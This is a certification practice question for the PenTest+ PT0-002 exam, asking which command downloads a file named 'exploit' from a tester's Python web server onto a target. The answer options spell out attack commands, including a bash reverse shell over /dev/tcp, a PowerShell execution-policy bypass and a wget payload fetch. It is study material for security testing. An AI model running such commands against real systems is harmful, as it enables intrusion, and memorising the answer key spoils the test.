ExamGecko
Question list
Search
Search

List of questions

Search

Related questions











Question 97 - PT0-002 discussion

Report
Export

A penetration tester ran the following command on a staging server:

python -m SimpleHTTPServer 9891

Which of the following commands could be used to download a file named exploit to a target machine for execution?

A.
nc 10.10.51.50 9891 < exploit
Answers
A.
nc 10.10.51.50 9891 < exploit
B.
powershell -exec bypass -f \\10.10.51.50\9891
Answers
B.
powershell -exec bypass -f \\10.10.51.50\9891
C.
bash -i >& /dev/tcp/10.10.51.50/9891 0&1>/exploit
Answers
C.
bash -i >& /dev/tcp/10.10.51.50/9891 0&1>/exploit
D.
wget 10.10.51.50:9891/exploit
Answers
D.
wget 10.10.51.50:9891/exploit
Suggested answer: D

Explanation:

Reference: https://www.redhat.com/sysadmin/simple-http-server

asked 02/10/2024
Alex Ng
41 questions
User
Your answer:
0 comments
Sorted by

Leave a comment first